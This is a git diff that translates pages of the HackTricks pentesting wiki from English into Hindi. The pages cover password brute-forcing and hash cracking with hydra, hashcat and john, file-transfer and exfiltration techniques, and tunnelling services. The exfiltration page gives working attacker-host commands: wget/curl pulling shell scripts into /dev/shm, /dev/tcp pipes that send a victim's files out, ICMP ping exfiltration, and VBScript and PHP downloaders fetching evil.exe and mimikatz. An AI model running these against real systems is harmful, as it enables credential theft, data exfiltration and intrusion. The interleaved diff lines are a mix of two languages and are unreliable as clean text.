[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)। -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQ और OpenMQ) +STOMP टेक्स्ट प्रोटोकॉल एक व्यापक रूप से उपयोग किया जाने वाला मैसेजिंग प्रोटोकॉल है जो **लोकप्रिय मैसेज कतार सेवाओं** जैसे RabbitMQ, ActiveMQ, HornetQ, और OpenMQ के साथ निर्बाध संचार और इंटरैक्शन की अनुमति देता है। यह संदेशों का आदान-प्रदान करने और विभिन्न मैसेजिंग संचालन करने के लिए एक मानकीकृत और कुशल दृष्टिकोण प्रदान करता है। ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - -### Telnet - +### टेलनेट ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -544,41 +433,29 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm - ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` +## स्थानीय -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Local - -### Online cracking databases +### ऑनलाइन क्रैकिंग डेटाबेस - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) -- [https://crackstation.net/](https://crackstation.net) (Hashes) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 के साथ/बिना ESS/SSP और किसी भी चुनौती के मान के साथ) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (हैश, WPA2 कैप्चर, और MSOffice, ZIP, PDF के आर्काइव...) +- [https://crackstation.net/](https://crackstation.net) (हैश) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) -- [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) -- [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) +- [https://gpuhash.me/](https://gpuhash.me) (हैश और फ़ाइल हैश) +- [https://hashes.org/search.php](https://hashes.org/search.php) (हैश) +- [https://www.cmd5.org/](https://www.cmd5.org) (हैश) - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +हैश को ब्रूट फोर्स करने की कोशिश करने से पहले इसे देखें। ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -594,12 +471,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### ज्ञात plaintext ज़िप हमला -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +आपको **encrypted zip** के अंदर मौजूद **फाइल का plaintext** (या plaintext का एक भाग) जानना आवश्यक है। आप **encrypted zip** के अंदर मौजूद **फाइलों के नाम और आकार** की जांच कर सकते हैं: **`7z l encrypted.zip`**\ +[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) को रिलीज़ पृष्ठ से डाउनलोड करें। ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -611,9 +486,7 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z - ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -624,9 +497,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF - ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -635,13 +506,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### PDF मालिक पासवर्ड -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +PDF मालिक पासवर्ड क्रैक करने के लिए यह जांचें: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -653,17 +522,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - -### NTLM cracking - +### NTLM क्रैकिंग ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - -### Keepass - +### कीपास ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -671,30 +536,24 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - -### Keberoasting - +### केबरोस्टिंग ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### Lucks छवि -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### विधि 1 +इंस्टॉल करें: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### विधि 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -703,39 +562,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +एक और Luks BF ट्यूटोरियल: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### PGP/GPG निजी कुंजी ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
-### DPAPI Master Key +### DPAPI मास्टर कुंजी Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john -### Open Office Pwd Protected Column +### ओपन ऑफिस पासवर्ड से सुरक्षित कॉलम -If you have an xlsx file with a column protected by a password you can unprotect it: - -- **Upload it to google drive** and the password will be automatically removed -- To **remove** it **manually**: +यदि आपके पास एक xlsx फ़ाइल है जिसमें एक कॉलम पासवर्ड द्वारा सुरक्षित है, तो आप इसे अनलॉक कर सकते हैं: +- **इसे गूगल ड्राइव पर अपलोड करें** और पासवर्ड स्वचालित रूप से हटा दिया जाएगा +- **मैन्युअल रूप से** इसे **हटाने के लिए**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -744,35 +597,22 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### PFX प्रमाणपत्र ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - ## Tools -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +**Hash उदाहरण:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier - ```bash hash-identifier > ``` - ### Wordlists - **Rockyou** @@ -782,38 +622,31 @@ hash-identifier ### **Wordlist Generation Tools** -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. - +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** उन्नत कीबोर्ड-वॉक जनरेटर जिसमें कॉन्फ़िगर करने योग्य बेस कैरेक्टर्स, कीमैप और रूट्स होते हैं। ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` - ### John mutation -Read _**/etc/john/john.conf**_ and configure it - +_**/etc/john/john.conf**_ को पढ़ें और इसे कॉन्फ़िगर करें ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Hashcat हमले -- **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +- **शब्दसूची हमला** (`-a 0`) नियमों के साथ +**Hashcat** पहले से ही **नियमों वाला एक फ़ोल्डर** के साथ आता है लेकिन आप [**यहाँ अन्य दिलचस्प नियम पा सकते हैं**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +- **Wordlist combinator** हमला -- **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +hashcat के साथ **2 वर्डलिस्ट को 1 में मिलाना** संभव है।\ +यदि सूची 1 में शब्द **"hello"** था और दूसरी में **"world"** और **"earth"** के साथ 2 पंक्तियाँ थीं। शब्द `helloworld` और `helloearth` उत्पन्न होंगे। ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -824,9 +657,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - - **Mask attack** (`-a 3`) - ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -858,9 +689,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +- वर्डलिस्ट + मास्क (`-a 6`) / मास्क + वर्डलिस्ट (`-a 7`) हमला ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -868,47 +697,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` - -#### Hashcat modes - +#### Hashcat मोड ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` - -Cracking Linux Hashes - /etc/shadow file - +लिनक्स हैश को क्रैक करना - /etc/shadow फ़ाइल ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` - -Cracking Windows Hashes - +Windows हैश को क्रैक करना ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` - -Cracking Common Application Hashes - +सामान्य एप्लिकेशन हैश को क्रैक करना ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 2e5c0c1dd..ff82dc6e2 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -2,39 +2,32 @@ {{#include ../banners/hacktricks-training.md}} -## Commonly whitelisted domains to exfiltrate information +## जानकारी निकालने के लिए सामान्य रूप से व्हाइटलिस्टेड डोमेन -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +जानकारी निकालने के लिए सामान्य रूप से व्हाइटलिस्टेड डोमेन खोजने के लिए [https://lots-project.com/](https://lots-project.com/) पर जांचें ## Copy\&Paste Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - -**Windows** - +**विंडोज़** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP -**Linux** - +**लिनक्स** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - -**Windows** - +**विंडोज़** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### फ़ाइलें अपलोड करें - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) - [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -- Python module [uploadserver](https://pypi.org/project/uploadserver/): - +- Python मॉड्यूल [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver @@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` - -### **HTTPS Server** - +### **HTTPS सर्वर** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -105,31 +94,25 @@ from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): - print(request.get_json()) - return "OK" +print(request.get_json()) +return "OK" if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) - +### FTP सर्वर (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` - -### FTP server (NodeJS) - +### FTP सर्वर (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - -### FTP server (pure-ftp) - +### FTP सर्वर (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -147,9 +130,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### **Windows** क्लाइंट ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - ## SMB -Kali as server - +Kali को सर्वर के रूप में ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +या smb शेयर **samba का उपयोग करके** बनाएं: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` - -Windows - +विंडोज ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +हमलावर के पास SSHd चलाना आवश्यक है। ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +यदि पीड़ित के पास SSH है, तो हमलावर पीड़ित से एक निर्देशिका को हमलावर पर माउंट कर सकता है। ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - -## NC - +## एनसी ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### पीड़ित से फ़ाइल डाउनलोड करें ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### पीड़ित को फ़ाइल अपलोड करें ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** +**@BinaryShadow\_** का धन्यवाद ## **ICMP** - ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +**शिकार** में, Kali सर्वर से कनेक्ट करें: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +एक PHP oneliner के साथ एक फ़ाइल डाउनलोड करें: ```bash echo "" > down2.php ``` - ## VBScript - ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**शिकार** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +`debug.exe` प्रोग्राम न केवल बाइनरी की जांच करने की अनुमति देता है बल्कि इसमें **हैक्स से उन्हें फिर से बनाने की क्षमता** भी है। इसका मतलब है कि एक बाइनरी का हैक्स प्रदान करके, `debug.exe` बाइनरी फ़ाइल उत्पन्न कर सकता है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि debug.exe में **64 kb आकार तक फ़ाइलों को असेंबल करने की सीमा** है। ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. - -- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) +फिर टेक्स्ट को विंडोज-शेल में कॉपी-पेस्ट करें और एक फ़ाइल nc.exe बनाई जाएगी। ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index 9f8253367..481802da9 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -1,14 +1,14 @@ {{#include ../../banners/hacktricks-training.md}} -# [**Shells - Linux**](linux.md) +# [**शेल - लिनक्स**](linux.md) -# [**Shells - Windows**](windows.md) +# [**शेल - विंडोज**](windows.md) -# [**MSFVenom - CheatSheet**](msfvenom.md) +# [**MSFVenom - चीटशीट**](msfvenom.md) -# [**Full TTYs**](full-ttys.md) +# [**पूर्ण TTYs**](full-ttys.md) -# **Auto-generated shells** +# **स्वतः-जनित शेल** - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md index b52276fda..a5babd83e 100644 --- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md +++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).** +**इस पृष्ठ का लक्ष्य ऐसे विकल्पों का प्रस्ताव करना है जो कम से कम स्थानीय कच्चे TCP पोर्ट और स्थानीय वेब (HTTP) को इंटरनेट पर उजागर करने की अनुमति देते हैं बिना दूसरे सर्वर पर कुछ भी स्थापित किए (यदि आवश्यक हो तो केवल स्थानीय पर)।** ## **Serveo** From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**. - ```bash # Get a random port from serveo.net to expose local port 4444 ssh -R 0:localhost:4444 serveo.net @@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL ssh -R 80:localhost:3000 serveo.net ``` - ## SocketXP -From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http: - +From [https://www.socketxp.com/download](https://www.socketxp.com/download), यह tcp और http को एक्सपोज़ करने की अनुमति देता है: ```bash # Expose tcp port 22 socketxp connect tcp://localhost:22 @@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22 # Expose http port 8080 socketxp connect http://localhost:8080 ``` - ## Ngrok -From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports: - +[https://ngrok.com/](https://ngrok.com/) से, यह http और tcp पोर्ट्स को एक्सपोज़ करने की अनुमति देता है: ```bash # Expose web in 3000 ngrok http 8000 @@ -39,11 +34,9 @@ ngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won't be charged) ngrok tcp 9000 ``` - ## Telebit -From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports: - +[https://telebit.cloud/](https://telebit.cloud/) से यह http और tcp पोर्ट्स को एक्सपोज़ करने की अनुमति देता है: ```bash # Expose web in 3000 /Users/username/Applications/telebit/bin/telebit http 3000 @@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a # Expose port in 9000 /Users/username/Applications/telebit/bin/telebit tcp 9000 ``` - ## LocalXpose -From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**. - +From [https://localxpose.io/](https://localxpose.io/), यह कई http और पोर्ट फॉरवर्डिंग सुविधाएँ **मुफ्त** में प्रदान करता है। ```bash # Expose web in port 8989 loclx tunnel http -t 8989 @@ -63,11 +54,9 @@ loclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro) loclx tunnel tcp --port 4545 ``` - ## Expose -From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports: - +From [https://expose.dev/](https://expose.dev/) यह http और tcp पोर्ट को एक्सपोज़ करने की अनुमति देता है: ```bash # Expose web in 3000 ./expose share http://localhost:3000 @@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp # Expose tcp port in port 4444 (REQUIRES PREMIUM) ./expose share-port 4444 ``` - ## Localtunnel -From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free: - +From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) यह मुफ्त में http को एक्सपोज़ करने की अनुमति देता है: ```bash # Expose web in port 8000 npx localtunnel --port 8000 ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md index 32d0eb1d5..175b03d85 100644 --- a/src/generic-hacking/reverse-shells/full-ttys.md +++ b/src/generic-hacking/reverse-shells/full-ttys.md @@ -2,36 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -
